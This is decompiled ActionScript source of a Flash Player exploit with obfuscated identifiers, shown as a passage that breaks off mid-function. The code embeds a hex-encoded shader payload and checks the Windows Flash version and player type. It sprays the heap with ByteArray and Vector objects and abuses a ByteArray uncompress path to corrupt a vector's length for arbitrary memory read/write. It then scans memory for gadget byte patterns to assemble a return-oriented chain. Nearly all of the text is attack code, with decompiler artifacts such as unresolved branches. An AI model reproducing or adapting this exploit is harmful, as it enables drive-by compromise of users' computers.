1 | package {
|
2 | import flash.display.*;
|
3 | import flash.utils.*;
|
4 | import __AS3__.vec.*;
|
5 | import flash.system.*;
|
6 | import flash.events.*;
|
7 | import avm2.intrinsics.memory.*;
|
8 |
|
9 | public final class _SafeStr_7 extends MovieClip {
|
10 |
|
11 | private var _SafeStr_18:Shader;
|
12 | private var _SafeStr_19:ByteArray;
|
13 | private var _SafeStr_20:Boolean = false;
|
14 | private var _SafeStr_23:uint = 0;
|
15 | private var _SafeStr_25:String;
|
16 | private var _SafeStr_26:String;
|
17 | private var _SafeStr_27:ByteArray = null;
|
18 | private var _SafeStr_28:uint = 4277009102;
|
19 | private var _SafeStr_29:uint;
|
20 | private var _SafeStr_30:ByteArray = null;
|
21 | private var _SafeStr_31:uint = 3149642683;
|
22 | private var _SafeStr_32:uint;
|
23 | private var _SafeStr_33:Boolean = false;
|
24 | private var _SafeStr_34:uint = 0x1000;
|
25 | private var _SafeStr_35:uint = 0xC00000;
|
26 | private var _SafeStr_36:uint = 0x40000000;
|
27 | private var _SafeStr_37:uint = 3133078208;
|
28 | private var _SafeStr_38:uint = 3133078209;
|
29 | private var _SafeStr_39:uint = 3133078211;
|
30 | private var _SafeStr_40:uint = 3435973836;
|
31 | private var _SafeStr_41:uint = 3722304989;
|
32 | private var _SafeStr_42:int = 2;
|
33 | private var _SafeStr_43:uint;
|
34 | private var _SafeStr_44:uint = 114;
|
35 | private var _SafeStr_45:uint = 4276992702;
|
36 | private var _SafeStr_46:uint = 3133078222;
|
37 | private var _SafeStr_47:int = 504;
|
38 | private var _SafeStr_48:int = 0x2000;
|
39 | private var _SafeStr_49:int;
|
40 | private var _SafeStr_50:Vector.<Object> = null;
|
41 | private var _SafeStr_51:Vector.<Object> = null;
|
42 | private var _SafeStr_52:int = 0;
|
43 | private var _SafeStr_53:Vector.<uint> = null;
|
44 | private var _SafeStr_54:uint = 0;
|
45 | private var _SafeStr_55:uint = 0;
|
46 | private var _SafeStr_56:uint = 0;
|
47 | private var _SafeStr_57:uint = 0;
|
48 | private var _SafeStr_58:uint = 0;
|
49 | private var _SafeStr_59:uint = 0;
|
50 | private var _SafeStr_60:uint = 0;
|
51 | private var _SafeStr_61:uint = 0;
|
52 | private var _SafeStr_62:Vector.<uint> = null;
|
53 | private var _SafeStr_63:uint = 9460301;
|
54 | private var _SafeStr_64:uint = 50068;
|
55 | private var _SafeStr_65:uint = 0xFFFF;
|
56 | private var _SafeStr_66:uint = 3272131715;
|
57 | private var _SafeStr_67:uint = 6816874;
|
58 | private var _SafeStr_68:uint = 0x68000020;
|
59 | private var _SafeStr_69:uint = 0x100000;
|
60 | private var _SafeStr_70:uint = 6816106;
|
61 | private var _SafeStr_71:uint = 0x68000020;
|
62 | private var _SafeStr_72:uint = 0x200000;
|
63 | private var _SafeStr_73:uint = 6816874;
|
64 | private var _SafeStr_74:uint = 0x56000010;
|
65 | private var _SafeStr_75:uint = 4283498891;
|
66 | private var _SafeStr_76:uint = 2128;
|
67 | private var _SafeStr_77:uint = 0xFFFF;
|
68 | private var _SafeStr_78:uint = 0;
|
69 | private var _SafeStr_79:uint = 0;
|
70 | private var _SafeStr_80:uint = 0;
|
71 | private var _SafeStr_81:uint = 0;
|
72 | private var _SafeStr_82:uint = 0;
|
73 | private var _SafeStr_83:uint = 50070;
|
74 | private var _SafeStr_84:uint = 50069;
|
75 | private var _SafeStr_85:uint = 50065;
|
76 | private var _SafeStr_86:uint = 50071;
|
77 | private var _SafeStr_87:uint = 0;
|
78 | private var _SafeStr_88:uint = 0;
|
79 | private var _SafeStr_89:uint = 0;
|
80 | private var _SafeStr_90:uint = 0;
|
81 | private var _SafeStr_91:uint = 0;
|
82 | private var _SafeStr_92:uint = 0;
|
83 | private var _SafeStr_93:uint = 0;
|
84 | private var _SafeStr_94:uint = 0;
|
85 | private var _SafeStr_95:uint = 0;
|
86 | private var _SafeStr_96:uint = 0;
|
87 | private var _SafeStr_97:uint = 0;
|
88 | private var _SafeStr_98:uint = 0;
|
89 | private var _SafeStr_99:Boolean = false;
|
90 | private var _SafeStr_100:Boolean = false;
|
91 | private var _SafeStr_101:Boolean = false;
|
92 | private var _SafeStr_102:Boolean = false;
|
93 | private var _SafeStr_103:Boolean = false;
|
94 | private var _SafeStr_104:Boolean = false;
|
95 | private var _SafeStr_105:Boolean = false;
|
96 | private var static:String = null;
|
97 | private var _SafeStr_106:String = null;
|
98 | private var _SafeStr_107:String = null;
|
99 | private var _SafeStr_108:uint = 0;
|
100 |
|
101 | public function _SafeStr_7(){
|
102 | this._SafeStr_18 = new Shader();
|
103 | this._SafeStr_19 = func_strtobytearr("A501000000A40B004372797374616C6C697A65A00C6E616D657370616365004372797374616C6C697A65206279205065747269204C65736B696E656E00A00C76656E646F720000A00876657273696F6E000100A00C6465736372697074696F6E004372797374616C6C697A65202D66696C74657200A1010200000C5F4F7574436F6F726400A1010100000273697A6500A2016D696E56616C7565003F800000A2016D617856616C75650043960000330300C0018000000200B040020010401D0200C103001000300300F1020010001D0100F303001B00A20764656661756C7456616C75650041A00000000B388000004242434343434444444441414141424242424343434344444444414141414242424243434343444444444141414142424242434343433400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000A20C6465736372697074696F6E0073697A6500A3000473726300A1020401000F647374001D00001000008000320200804600200032020040C2C80000320300803F7374BC32030040BE9E353F320300203E9E353F320300103F7374BC1D040004030000001D0500F30000FF000304000405000000320300803F7374BC320300403E9E353F32030020BE9E353F320300103F7374BC320200204600200032020010C2C800001D0500C100001000020500C10200B0001D020031050010002202003403000000040300C10000F000030300C10200B0001A02003103001000320300803F0000001D0300610200B00001030061030000001D0200310300600022020034040000001D0300C102001000010300C10200B0001D0200C103001000320200203F8666661D0200100200800003020010000080001D0000100200C00032020020C60020003202001046002000320300803F5DB22D32030040BF000000320300203F000000320300103F5DB22D1D040004030000001D0500F30000FF000304000405000000320300803F5DB22D320300403F00000032030020BF000000320300103F5DB22D32050080C600200032050040460020001D0500310000100002050031050010001D0500C10500B000220500C403000000040300C10000F000030300C1050010001A03003103001000320300803F0000001D0500C10300B000010500C1030000001D0300C105001000220300C4040000001D0300310200B00001030031030010001D0200310300B0001D0300C10200B000020300C10000100024030021030010001D0300C102001000020300C10000100024030011030010002A0300200300C0001D01808000800000330300C0018000000200B040020010401D0200C103001000320300803F7333331D0300400300000003030040000080001D00001003004000040300C10000F000030300C1000010001A03003103001000320300803F0000001D0400C10300B000010400C1030000001D0300C10000F000030300C1040010001D020031030010001D0300C10200B000020300C10000100024030021030010001D0300C102001000020300C10000100024030011030010002A0300200300C0001D01808000800000330300C0018000000200B040020010401D0200C103001000300300F1020010001D0100F303001B00");
|
104 | this._SafeStr_25 = "uncompress";
|
105 | this._SafeStr_26 = this._SafeStr_25["substring"](2);
|
106 | this._SafeStr_29 = this._SafeStr_48;
|
107 | this._SafeStr_32 = this._SafeStr_48;
|
108 | this._SafeStr_43 = (5770 * this._SafeStr_42);
|
109 | this._SafeStr_49 = (510 * this._SafeStr_42);
|
110 | super();
|
111 | if (stage){
|
112 | this._SafeStr_112();
|
113 | } else {
|
114 | addEventListener("addedToStage", this._SafeStr_112);
|
115 | };
|
116 | }
|
117 | public static function func_strtobytearr(str:String):ByteArray{
|
118 | var _local4:int;
|
119 | var _local2:int;
|
120 | if ((str.length % 2) != 0){
|
121 | return (null);
|
122 | };
|
123 | var _local3:ByteArray = new ByteArray();
|
124 | _local4 = 0;
|
125 | while (_local4 < str.length) {
|
126 | _local2 = parseInt(("0x" + str.substr(_local4, 2)));
|
127 | _local3.writeByte(_local2);
|
128 | _local4 = (_local4 + 2);
|
129 | };
|
130 | _local3.position = 0;
|
131 | return (_local3);
|
132 | }
|
133 | public static function h2ba(ba:ByteArray, hex:String):ByteArray{
|
134 | var _local4:int;
|
135 | ba.position = ba.length;
|
136 | var _local3:uint = hex.length;
|
137 | _local4 = 0;
|
138 | while (_local4 < _local3) {
|
139 | ba.writeUnsignedInt(("0x" + hex.substr(_local4, 8)));
|
140 | _local4 = (_local4 + 8);
|
141 | };
|
142 | return (ba);
|
143 | }
|
144 |
|
145 | final private function _SafeStr_113():uint{
|
146 | var _local1:int;
|
147 | var _local3:int;
|
148 | var _local4:String = Capabilities.version.toLowerCase();
|
149 | if (_local4.length < 4){
|
150 | return (0);
|
151 | };
|
152 | var _local5:String = _local4.substr(0, 4);
|
153 | if (_local5 != "win"){
|
154 | return (0);
|
155 | };
|
156 | _local4 = _local4.substr(4);
|
157 | var _local2:Array = _local4.split(",");
|
158 | if (_local2.length != 4){
|
159 | return (0);
|
160 | };
|
161 | _local1 = _local2[0];
|
162 | _local3 = (_local3 + _local1);
|
163 | _local1 = _local2[1];
|
164 | _local3 = (_local3 * 10);
|
165 | _local3 = (_local3 + _local1);
|
166 | _local1 = _local2[2];
|
167 | _local3 = (_local3 * 1000);
|
168 | _local3 = (_local3 + _local1);
|
169 | _local1 = _local2[3];
|
170 | _local3 = (_local3 * 1000);
|
171 | _local3 = (_local3 + _local1);
|
172 | return (_local3);
|
173 | }
|
174 | final private function _SafeStr_114():Boolean{
|
175 | this._SafeStr_108 = this._SafeStr_113();
|
176 | if (this._SafeStr_108 == 0){
|
177 | return (false);
|
178 | };
|
179 | this.static = Capabilities.os.toLowerCase();
|
180 | this._SafeStr_106 = Capabilities.playerType.toLowerCase();
|
181 | this._SafeStr_107 = this._SafeStr_108;
|
182 | if (((!((this._SafeStr_106 == "activex"))) && (!((this._SafeStr_106 == "plugin"))))){
|
183 | return (false);
|
184 | };
|
185 | this._SafeStr_101 = (this.static == "windows 8");
|
186 | this._SafeStr_102 = (this.static == "windows 8.1");
|
187 | this._SafeStr_103 = this._SafeStr_102;
|
188 | this._SafeStr_104 = ((((this._SafeStr_101) || (this._SafeStr_102))) || (this._SafeStr_103));
|
189 | this._SafeStr_105 = (this._SafeStr_108 >= 150000223);
|
190 | this._SafeStr_20 = (((this._SafeStr_108 <= 117700275)) || ((((this._SafeStr_108 >= 118000000)) && ((this._SafeStr_108 <= 130000182)))));
|
191 | return ((((((((this._SafeStr_108 >= 130000259)) && ((this._SafeStr_108 < 140000000)))) || ((this._SafeStr_108 == 150000246)))) || ((this._SafeStr_108 >= 160000235))));
|
192 | }
|
193 | final private function _SafeStr_116(_arg_1:ByteArray, _arg_2:int):void{
|
194 | var _local3:int;
|
195 | _arg_1.position = 0;
|
196 | while (_local3 < (_arg_1.length / 4)) {
|
197 | _arg_1.writeInt(_arg_2);
|
198 | _local3++;
|
199 | };
|
200 | _arg_1.position = 0;
|
201 | }
|
202 | final private function _SafeStr_117(_arg_1:uint):uint{
|
203 | var _local2:uint = (_arg_1 / 4);
|
204 | return (((_local2 - this._SafeStr_55) & (this._SafeStr_36 - 1)));
|
205 | }
|
206 | final private function _SafeStr_118(_arg_1:uint):uint{
|
207 | var _local8:uint = this._SafeStr_117(_arg_1);
|
208 | var _local3:uint = (_arg_1 % 4);
|
209 | if (_local3 == 0){
|
210 | return (this._SafeStr_53[_local8]);
|
211 | };
|
212 | var _local2:uint = (1 << (_local3 * 8));
|
213 | var _local5:uint = (1 << ((4 - _local3) * 8));
|
214 | var _local4:uint = this._SafeStr_53[_local8];
|
215 | var _local7:uint = this._SafeStr_53[(_local8 + 1)];
|
216 | _local4 = (_local4 / _local2);
|
217 | _local7 = (_local7 * _local5);
|
218 | var _local6:uint = (_local4 | _local7);
|
219 | return (_local6);
|
220 | }
|
221 | final private function _SafeStr_119(_arg_1:uint, _arg_2:uint):void{
|
222 | var _local4:uint = this._SafeStr_117(_arg_1);
|
223 | var _local3:uint = (_arg_1 % 4);
|
224 | if (_local3 == 0){
|
225 | this._SafeStr_53[_local4] = _arg_2;
|
226 | return;
|
227 | /*not popped
|
228 | trace(_arg_2.toString(16))
|
229 | */
|
230 | };
|
231 | }
|
232 | final private function _SafeStr_120(_arg_1:int):int{
|
233 | return (op_li32(_arg_1) /*Alchemy*/ );
|
234 | }
|
235 | final private function _SafeStr_121(_arg_1:uint):uint{
|
236 | return (this._SafeStr_120(_arg_1));
|
237 | }
|
238 | final private function _SafeStr_122(_arg_1:int, _arg_2:int):void{
|
239 | op_si32(_arg_2, _arg_1); //Alchemy
|
240 | }
|
241 | final private function _SafeStr_123(_arg_1:uint, _arg_2:uint):void{
|
242 | this._SafeStr_122(_arg_1, _arg_2);
|
243 | }
|
244 | final private function _SafeStr_124():Boolean{
|
245 | var _local3:int;
|
246 | this._SafeStr_30 = new ByteArray();
|
247 | this._SafeStr_30.endian = "littleEndian";
|
248 | this._SafeStr_27 = new ByteArray();
|
249 | this._SafeStr_27.endian = "littleEndian";
|
250 | this._SafeStr_27.position = 0;
|
251 | while (_local3 < (this._SafeStr_29 / 4)) {
|
252 | this._SafeStr_27.writeUnsignedInt((this._SafeStr_28 + _local3));
|
253 | _local3++;
|
254 | };
|
255 | var _local1 = this._SafeStr_27;
|
256 | _local1[this._SafeStr_26]();
|
257 | var _local4:uint = 0x0200;
|
258 | this._SafeStr_27.position = _local4;
|
259 | var _local2:int = _local4;
|
260 | while (_local2 < this._SafeStr_27.length) {
|
261 | this._SafeStr_27.writeByte(_local2);
|
262 | _local2++;
|
263 | };
|
264 | ApplicationDomain.currentDomain.domainMemory = this._SafeStr_27;
|
265 | return (true);
|
266 | }
|
267 | final private function _SafeStr_125():int{
|
268 | var _local1:int = ((this._SafeStr_49 * 4) / 5);
|
269 | if ((_local1 % 2) == 0){
|
270 | _local1++;
|
271 | };
|
272 | return (_local1);
|
273 | }
|
274 | final private function _SafeStr_126():void{
|
275 | var _local3:int;
|
276 | var _local4 = null;
|
277 | var _local1:*;
|
278 | this._SafeStr_50 = new Vector.<Object>(this._SafeStr_49);
|
279 | _local3 = 0;
|
280 | while (_local3 < this._SafeStr_49) {
|
281 | _local4 = new ByteArray();
|
282 | this._SafeStr_50[_local3] = _local4;
|
283 | _local4.endian = "littleEndian";
|
284 | _local3++;
|
285 | };
|
286 | var _local2:int = this._SafeStr_125();
|
287 | _local3 = 0;
|
288 | while (_local3 < this._SafeStr_49) {
|
289 | if (_local2 == _local3){
|
290 | try {
|
291 | _local1 = this._SafeStr_27;
|
292 | _local1[this._SafeStr_25]();
|
293 | } catch(error:Error) {
|
294 | };
|
295 | this._SafeStr_30.length = this._SafeStr_32;
|
296 | this._SafeStr_116(this._SafeStr_30, this._SafeStr_31);
|
297 | } else {
|
298 | _local4 = (this._SafeStr_50[_local3] as ByteArray);
|
299 | _local4.length = this._SafeStr_48;
|
300 | this._SafeStr_116(_local4, this._SafeStr_40);
|
301 | _local4.writeInt(this._SafeStr_37);
|
302 | _local4.writeInt(this._SafeStr_38);
|
303 | _local4.writeInt(_local3);
|
304 | _local4.writeInt(this._SafeStr_39);
|
305 | };
|
306 | _local3++;
|
307 | };
|
308 | }
|
309 | final private function _SafeStr_127():void{
|
310 | var _local2:int;
|
311 | var _local3 = null;
|
312 | var _local1:int = this._SafeStr_125();
|
313 | _local2 = 0;
|
314 | while (_local2 < this._SafeStr_49) {
|
315 | if (_local2 == _local1){
|
316 | this._SafeStr_30.clear();
|
317 | } else {
|
318 | if ((_local2 % 2) == 1){
|
319 | _local3 = (this._SafeStr_50[_local2] as ByteArray);
|
320 | this._SafeStr_116(_local3, this._SafeStr_41);
|
321 | _local3.clear();
|
322 | };
|
323 | };
|
324 | _local2++;
|
325 | };
|
326 | }
|
327 | final private function _SafeStr_128():void{
|
328 | var _local1:int;
|
329 | var _local2:*;
|
330 | this._SafeStr_51 = new Vector.<Object>(this._SafeStr_43);
|
331 | _local1 = 0;
|
332 | while (_local1 < this._SafeStr_43) {
|
333 | this._SafeStr_51[_local1] = new Vector.<uint>();
|
334 | _local1++;
|
335 | };
|
336 | _local1 = 0;
|
337 | while (_local1 < this._SafeStr_43) {
|
338 | _local2 = (this._SafeStr_51[_local1] as Vector.<uint>);
|
339 | _local2.length = this._SafeStr_44;
|
340 | _local2[0] = this._SafeStr_45;
|
341 | _local2[1] = _local1;
|
342 | _local2[2] = this._SafeStr_46;
|
343 | _local1++;
|
344 | };
|
345 | }
|
346 | final private function _SafeStr_129():Boolean{
|
347 | var _local1:uint = this._SafeStr_121(0);
|
348 | if (_local1 != this._SafeStr_31){
|
349 | return (false);
|
350 | };
|
351 | this._SafeStr_127();
|
352 | this._SafeStr_128();
|
353 | _local1 = this._SafeStr_121(0);
|
354 | if (_local1 == this._SafeStr_31){
|
355 | return (false);
|
356 | };
|
357 | return (true);
|
358 | }
|
359 | final private function _SafeStr_130():Boolean{
|
360 | var _local2:int;
|
361 | var _local3:int;
|
362 | var _local1:uint = this._SafeStr_48;
|
363 | while (_local3 < _local1) {
|
364 | _local2 = this._SafeStr_121(_local3);
|
365 | if (_local2 == this._SafeStr_44){
|
366 | _local2 = this._SafeStr_121((_local3 + (this._SafeStr_23 << 3)));
|
367 | if (_local2 == this._SafeStr_45){
|
368 | this._SafeStr_33 = false;
|
369 | this._SafeStr_123(_local3, this._SafeStr_36);
|
370 | return (true);
|
371 | };
|
372 | _local2 = this._SafeStr_121((_local3 + 16));
|
373 | if (_local2 == this._SafeStr_45){
|
374 | this._SafeStr_33 = true;
|
375 | this._SafeStr_123(_local3, this._SafeStr_36);
|
376 | return (true);
|
377 | };
|
378 | };
|
379 | _local3 = (_local3 + (this._SafeStr_23 << 2));
|
380 | };
|
381 | return (false);
|
382 | }
|
383 | final private function _SafeStr_131():Boolean{
|
384 | var _local1:*;
|
385 | var _local2:int;
|
386 | while (_local2 < this._SafeStr_43) {
|
387 | _local1 = (this._SafeStr_51[_local2] as Vector.<uint>);
|
388 | if (((!((_local1.length == this._SafeStr_44))) && (!((_local1.length == (this._SafeStr_44 * 2)))))){
|
389 | this._SafeStr_52 = _local2;
|
390 | this._SafeStr_53 = _local1;
|
391 | } else {
|
392 | _local2++;
|
393 | continue;
|
394 | };
|
395 | return (true);
|
396 | };
|
397 | return (false);
|
398 | }
|
399 | final private function _SafeStr_132():uint{
|
400 | var _local2:int;
|
401 | var _local1:int;
|
402 | var _local4:int;
|
403 | var _local3:int;
|
404 | var _local5:uint = (this._SafeStr_48 * 8);
|
405 | var _local6:uint = (_local5 / 4);
|
406 | while (_local4 < _local6) {
|
407 | _local2 = this._SafeStr_53[_local4];
|
408 | if (_local2 == this._SafeStr_37){
|
409 | _local1 = _local4;
|
410 | break;
|
411 | };
|
412 | _local4++;
|
413 | };
|
414 | _local3 = (_local1 * 4);
|
415 | return (_local3);
|
416 | }
|
417 | final private function _SafeStr_133(_arg_1:uint):uint{
|
418 | var _local2:int;
|
419 | var _local5:int;
|
420 | var _local6:int;
|
421 | var _local7:uint = (this._SafeStr_48 * 8);
|
422 | var _local3:uint = (_local7 / 4);
|
423 | var _local4:uint = (_arg_1 / 4);
|
424 | while (_local4 < _local3) {
|
425 | _local2 = this._SafeStr_53[_local4];
|
426 | if (_local2 == this._SafeStr_45){
|
427 | _local2 = this._SafeStr_53[(_local4 + 2)];
|
428 | if (_local2 == this._SafeStr_46){
|
429 | this._SafeStr_60 = this._SafeStr_53[(_local4 + 1)];
|
430 | _local5 = _local4;
|
431 | break;
|
432 | };
|
433 | };
|
434 | _local4++;
|
435 | };
|
436 | _local6 = (_local5 * 4);
|
437 | return (_local6);
|
438 | }
|
439 | final private function _SafeStr_134():Boolean{
|
440 | var _local3:int;
|
441 | var _local11:uint = this._SafeStr_132();
|
442 | if (_local11 == 0){
|
443 | return (false);
|
444 | };
|
445 | var _local12:uint = (this._SafeStr_34 - (_local11 % this._SafeStr_34));
|
446 | var _local2:uint = (_local12 % this._SafeStr_47);
|
447 | if (_local2 == 40){
|
448 | if (this._SafeStr_33){
|
449 | return (false);
|
450 | };
|
451 | } else {
|
452 | //unresolved if
|
453 | if (!this._SafeStr_33){
|
454 | return (false);
|
455 | };
|
456 | };
|
457 | var _local1:uint = 8;
|
458 | var _local4:uint = 32;
|
459 | var _local6:uint = 28;
|
460 | if (this._SafeStr_33){
|
461 | _local1 = 16;
|
462 | _local4 = 64;
|
463 | _local3 = 0;
|
464 | _local6 = 56;
|
465 | };
|
466 | var _local5:uint = this._SafeStr_133((_local11 + this._SafeStr_48));
|
467 | if (_local5 == 0){
|
468 | return (false);
|
469 | };
|
470 | _local5 = (_local5 - _local1);
|
471 | var _local7:uint = (_local5 / 4);
|
472 | if (!this._SafeStr_33){
|
473 | this._SafeStr_56 = this._SafeStr_53[(_local7 + 1)];
|
474 | } else {
|
475 | this._SafeStr_56 = this._SafeStr_53[(_local7 + 2)];
|
476 | this._SafeStr_91 = this._SafeStr_53[(_local7 + 3)];
|
477 | };
|
478 | var _local8:uint = ((_local5 - _local11) % this._SafeStr_34);
|
479 | var _local9:uint = (_local5 - _local8);
|
480 | this._SafeStr_62 = (this._SafeStr_51[this._SafeStr_60] as Vector.<uint>);
|
481 | this._SafeStr_62.length = (this._SafeStr_44 * 2);
|
482 | var _local10:uint = (_local9 + _local3);
|
483 | _local7 = (_local10 / 4);
|
484 | this._SafeStr_61 = this._SafeStr_53[_local7];
|
485 | this._SafeStr_54 = (this._SafeStr_61 - _local5);
|
486 | this._SafeStr_55 = (this._SafeStr_54 / 4);
|
487 | this._SafeStr_78 = (this._SafeStr_54 + _local11);
|
488 | _local7 = ((_local9 + _local6) / 4);
|
489 | var _temp1 = _local7;
|
490 | _local7 = (_local7 + 1);
|
491 | this._SafeStr_57 = this._SafeStr_53[_temp1];
|
492 | this._SafeStr_92 = this._SafeStr_53[_local7];
|
493 | this._SafeStr_60 = (this._SafeStr_60 + 1);
|
494 | this._SafeStr_62 = (this._SafeStr_51[this._SafeStr_60] as Vector.<uint>);
|
495 | return (true);
|
496 | return (false);
|
497 | }
|
498 | final private function _SafeStr_135():void{
|
499 | var _local1:uint = (this._SafeStr_36 - 2);
|
500 | this._SafeStr_53[_local1] = this._SafeStr_44;
|
501 | _local1 = (this._SafeStr_36 - 1);
|
502 | this._SafeStr_53[_local1] = this._SafeStr_56;
|
503 | }
|
504 | final private function _SafeStr_136():Boolean{
|
505 | var _local5:int;
|
506 | var _local6:int;
|
507 | var _local2:int;
|
508 | var _local1:int;
|
509 | var _local4:uint = (this._SafeStr_57 & ~((this._SafeStr_34 - 1)));
|
510 | while (true) {
|
511 | _local5 = this._SafeStr_118(_local4);
|
512 | //unresolved if
|
513 | _local4 = (_local4 - this._SafeStr_34);
|
514 | };
|
515 | _local4 = (_local4 + this._SafeStr_34);
|
516 | var _local3:uint = (_local4 + this._SafeStr_35);
|
517 | while ((((((((((((((((this._SafeStr_80 == 0)) || ((this._SafeStr_81 == 0)))) || ((this._SafeStr_82 == 0)))) || ((this._SafeStr_88 == 0)))) || ((this._SafeStr_89 == 0)))) || ((this._SafeStr_90 == 0)))) || ((this._SafeStr_87 == 0)))) || ((this._SafeStr_79 == 0)))) {
|
518 | _local5 = this._SafeStr_118(_local4);
|
519 | if (this._SafeStr_79 == 0){
|
520 | if (_local5 == this._SafeStr_75){
|
521 | _local2 = this._SafeStr_118((_local4 + 4));
|
522 | if ((_local2 & this._SafeStr_77) == this._SafeStr_76){
|
523 | this._SafeStr_79 = _local4;
|
524 | _local4 = (_local4 + 5);
|
525 | continue;
|
526 | };
|
527 | };
|
528 | };
|
529 | if (this._SafeStr_80 == 0){
|
530 | if ((_local5 & this._SafeStr_65) == this._SafeStr_64){
|
531 | this._SafeStr_80 = _local4;
|
532 | _local4 = (_local4 + 2);
|
533 | continue;
|
534 | };
|
535 | };
|
536 | if (this._SafeStr_88 == 0){
|
537 | if ((_local5 & this._SafeStr_65) == this._SafeStr_84){
|
538 | this._SafeStr_88 = _local4;
|
539 | _local4 = (_local4 + 2);
|
540 | continue;
|
541 | };
|
542 | };
|
543 | if (this._SafeStr_89 == 0){
|
544 | if ((_local5 & this._SafeStr_65) == this._SafeStr_85){
|
545 | this._SafeStr_89 = _local4;
|
546 | _local4 = (_local4 + 2);
|
547 | continue;
|
548 | };
|
549 | };
|
550 | if (this._SafeStr_87 == 0){
|
551 | if ((_local5 & this._SafeStr_65) == this._SafeStr_83){
|
552 | this._SafeStr_87 = _local4;
|
553 | _local4 = (_local4 + 2);
|
554 | continue;
|
555 | };
|
556 | };
|
557 | if (this._SafeStr_90 == 0){
|
558 | if ((_local5 & this._SafeStr_65) == this._SafeStr_86){
|
559 | this._SafeStr_90 = _local4;
|
560 | _local4 = (_local4 + 2);
|
561 | continue;
|
562 | };
|
563 | };
|
564 | if (this._SafeStr_81 == 0){
|
565 | if (_local5 == this._SafeStr_66){
|
566 | this._SafeStr_81 = _local4;
|
567 | _local4 = (_local4 + 4);
|
568 | continue;
|
569 | };
|
570 | };
|
571 | if (this._SafeStr_82 == 0){
|
572 | _local6 = _local5;
|
573 | _local2 = 0;
|
574 | _local1 = 0;
|
575 | if (_local6 == this._SafeStr_67){
|
576 | _local2 = this._SafeStr_118((_local4 + 4));
|
577 | if (_local2 == this._SafeStr_68){
|
578 | _local1 = this._SafeStr_118((_local4 + 8));
|
579 | if (_local1 == this._SafeStr_69){
|
580 | this._SafeStr_82 = this._SafeStr_118(this._SafeStr_118((_local4 + 15)));
|
581 | _local4 = (_local4 + 12);
|
582 | continue;
|
583 | };
|
584 | };
|
585 | };
|
586 | if (_local6 == this._SafeStr_73){
|
587 | _local2 = this._SafeStr_118((_local4 + 4));
|
588 | if (_local2 == this._SafeStr_74){
|
589 | this._SafeStr_82 = this._SafeStr_118(this._SafeStr_118((_local4 + 11)));
|
590 | _local4 = (_local4 + 8);
|
591 | this._SafeStr_100 = true;
|
592 | continue;
|
593 | };
|
594 | };
|
595 | if (_local6 == this._SafeStr_70){
|
596 | _local2 = this._SafeStr_118((_local4 + 4));
|
597 | if (_local2 == this._SafeStr_71){
|
598 | _local1 = this._SafeStr_118((_local4 + 8));
|
599 | if (_local1 == this._SafeStr_72){
|
600 | this._SafeStr_82 = this._SafeStr_118(this._SafeStr_118((_local4 + 15)));
|
601 | _local4 = (_local4 + 12);
|
602 | this._SafeStr_99 = true;
|
603 | continue;
|
604 | };
|
605 | };
|
606 | };
|
607 | };
|
608 | ++_local4;
|
609 | if (_local4 > _local3){
|
610 | return (false);
|
611 | };
|
612 | };
|
613 | return (true);
|
614 | }
|
615 | final private function _SafeStr_137(_arg_x:String):void{
|
616 | var _local10:int;
|
617 | var _local11:uint = 0x1000;
|
618 | var _local3:uint = (this._SafeStr_48 - _local11);
|
619 | var _local2:uint = this._SafeStr_78;
|
620 | this._SafeStr_59 = (_local2 + _local3);
|
621 | var _local5:uint = 0x0400;
|
622 | var _local4:uint = (_local3 - _local5);
|
623 | this._SafeStr_58 = (_local2 + _local4);
|
624 | var _local7:uint = (this._SafeStr_58 + 384);
|
625 | this._SafeStr_119((this._SafeStr_58 + 4), 65536);
|
626 | this._SafeStr_119((this._SafeStr_58 + 428), 0);
|
627 | this._SafeStr_119((this._SafeStr_58 + 484), _local7);
|
628 | this._SafeStr_119(_local7, this._SafeStr_59);
|
629 | this._SafeStr_119((_local7 + 4), 1);
|
630 | var _local6:uint = 0x0200;
|
631 | while (_local6 < _local5) {
|
632 | this._SafeStr_119((this._SafeStr_58 + _local6), 3735929054);
|
633 | _local6 = (_local6 + 4);
|
634 | };
|
635 | var _local8:uint = this._SafeStr_59;
|
636 | this._SafeStr_119(_local8, this._SafeStr_81);
|
637 | _local8 = (_local8 + 4);
|
638 | this._SafeStr_119(_local8, this._SafeStr_79);
|
639 | _local8 = (_local8 + 4);
|
640 | this._SafeStr_119(_local8, this._SafeStr_80);
|
641 | _local8 = (_local8 + 4);
|
642 | this._SafeStr_119(_local8, this._SafeStr_87);
|
643 | _local8 = (_local8 + 4);
|
644 | this._SafeStr_119(_local8, this._SafeStr_89);
|
645 | _local8 = (_local8 + 4);
|
646 | this._SafeStr_119(_local8, this._SafeStr_90);
|
647 | _local8 = (_local8 + 4);
|
648 | this._SafeStr_119(_local8, this._SafeStr_82);
|
649 | _local8 = (_local8 + 4);
|
650 | this._SafeStr_119(_local8, (_local8 + 20));
|
651 | _local8 = (_local8 + 4);
|
652 | this._SafeStr_119(_local8, this._SafeStr_59);
|
